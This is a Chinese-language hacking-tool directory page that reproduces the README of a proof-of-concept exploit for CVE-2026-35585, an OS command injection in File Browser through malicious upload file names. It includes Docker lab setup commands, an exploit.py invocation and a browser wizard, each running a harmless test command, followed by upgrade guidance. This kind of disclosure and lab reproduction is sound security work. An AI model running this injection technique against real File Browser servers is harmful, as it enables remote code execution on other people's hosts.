Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-35585-poc — 针对CVE-2026-35585的概念验证漏洞利用代码,这是File Browser(版本2.0.0至2.33.1)中的一个操作系统命令注入漏洞。包含基于Python和浏览器的PoC脚本,通过恶意文件上传实现远程代码执行。 | Kitploit
工具/GitHubGitHub/saku0512/cve-2026-35585-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubsaku0512/cve-2026-35585-poc

CVE-2026-35585-poc

针对CVE-2026-35585的概念验证漏洞利用代码,这是File Browser(版本2.0.0至2.33.1)中的一个操作系统命令注入漏洞。包含基于Python和浏览器的PoC脚本,通过恶意文件上传实现远程代码执行。

查看仓库
12个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-35585: File Browser OS命令注入 PoC

English version

概述

此仓库是 File Browser(版本 2.0.0 至 2.33.1)中发现的一个严重 OS 命令注入漏洞 CVE-2026-35585 的概念验证(PoC)。

该漏洞存在于“自定义命令钩子”功能中。由于在 shell 执行时,诸如 $FILE 或 $USERNAME 等环境变量未能得到充分清理,拥有文件上传权限的已认证用户可能利用恶意文件名在主机系统上执行任意命令。

发现者: saku0512 (https://github.com/Saku0512)


⚠️ 免责声明

本项目仅限用于教育目的和道德安全测试。

作者不对由于滥用此工具、造成的任何损害或非法行为承担任何责任。未经授权访问计算机系统是违法的。使用本软件即表示您同意仅在获得明确授权的环境中进行安全测试。


漏洞详情

  • CVE ID: CVE-2026-35585
  • 类型: OS 命令注入 (CWE-78)
  • 影响: 远程代码执行 (RCE)
  • 受影响版本: v2.0.0 <= File Browser <= v2.33.1
  • 修复版本: v2.33.8

根本原因

在 File Browser 中,管理员可以配置如“上传后”之类的钩子。当这些钩子被执行时,应用程序会运行 shell 命令,并将 $FILE 等变量替换为实际文件名。如果文件名包含 ;、&、| 等 shell 元字符,由于未经过适当转义,它们会直接在系统 shell 中被执行。


概念验证(使用方法)

本节说明如何利用提供的环境和 exploit 脚本复现远程代码执行 (RCE)。

1. 环境搭建与初始配置

使用 Docker Compose 启动存在漏洞的环境(File Browser v2.33.1)。首次运行时 data/filebrowser.db 不存在,因此需要先初始化 File Browser 的数据库,然后再配置钩子。

root@kitploit:~
# 为 data 目录设置适当权限
mkdir -p data && sudo chown -R 1000:1000 data

# 初始化数据库
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config init --database /database/filebrowser.db

# 添加 admin / admin 用户
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users add admin admin --perm.admin --database /database/filebrowser.db

# 将 shell 设置为 "sh -c"
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser config set --shell "sh -c" --database /database/filebrowser.db

# 添加上传后命令
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser cmds add after_upload 'echo Uploaded: $FILE' --database /database/filebrowser.db

# 启动容器
docker compose up -d

如果 data/filebrowser.db 已存在,则无需执行 config init。如果 admin 用户已存在,请使用以下命令重置密码,而不是 users add。

root@kitploit:~
docker run --rm -v "$(pwd)/data:/database" filebrowser/filebrowser:v2.33.1 /bin/filebrowser users update admin --password admin --database /database/filebrowser.db

如果在容器启动后需要更改钩子配置,请先执行 docker compose stop 以避免 SQLite 锁定,然后运行配置命令,最后执行 docker compose start。

2. 运行 exploit

运行 exploit.py 脚本,自动完成登录和恶意文件上传。以下命令尝试在容器内的 /tmp 目录创建一个名为 pwned_rce_test 的文件。

root@kitploit:~
# 安装依赖
pip install requests

# 执行 exploit
python3 exploit.py -t http://localhost:8080 -u admin -p admin -c "touch /tmp/pwned_rce_test"

3. 验证

检查容器内是否已创建文件,以验证命令是否成功执行。

root@kitploit:~
docker exec -it cve-2026-35585-vuln-app ls -l /tmp/pwned_rce_test

如果文件存在,则表明 RCE 已确认。


浏览器 PoC(向导版)

现有的 exploit.py 可直接使用。如果您希望以更贴近操作 File Browser 的方式验证,可以使用附带的浏览器 PoC 向导。

1. 启动 File Browser 并配置钩子

执行上面的“1. 环境搭建与初始配置”,确保可以通过 http://localhost:8080 登录 File Browser。

2. 启动浏览器 PoC 向导

root@kitploit:~
python3 browser_poc.py

在浏览器中打开以下地址:

root@kitploit:~
http://127.0.0.1:8090/

3. 按照向导进行验证

  1. Target: 检查 http://localhost:8080 是否可达。
  2. Login: 使用 admin / admin 登录,获取 File Browser API 的 token。
  3. Payload: 默认生成一个文件名 payload,用于执行 id > /srv/pwned_browser_rce.txt。
  4. Trigger: 使用恶意文件名上传文件,触发上传后钩子。
  5. Verify: 通过 File Browser API 读取 /srv/pwned_browser_rce.txt,在界面内查看 RCE 结果。

由于 docker-compose.yml 将 /srv 挂载到了本仓库,因此成功时主机端也会创建 pwned_browser_rce.txt。


应对措施

请将 File Browser 更新至 版本 2.33.8 或更高版本。 在修复版本中,钩子功能默认被禁用,并且变量展开的处理更加安全。


参考链接

  • CVE-2026-35585 (cve.org)
  • 官方 GitHub 安全公告
下载工具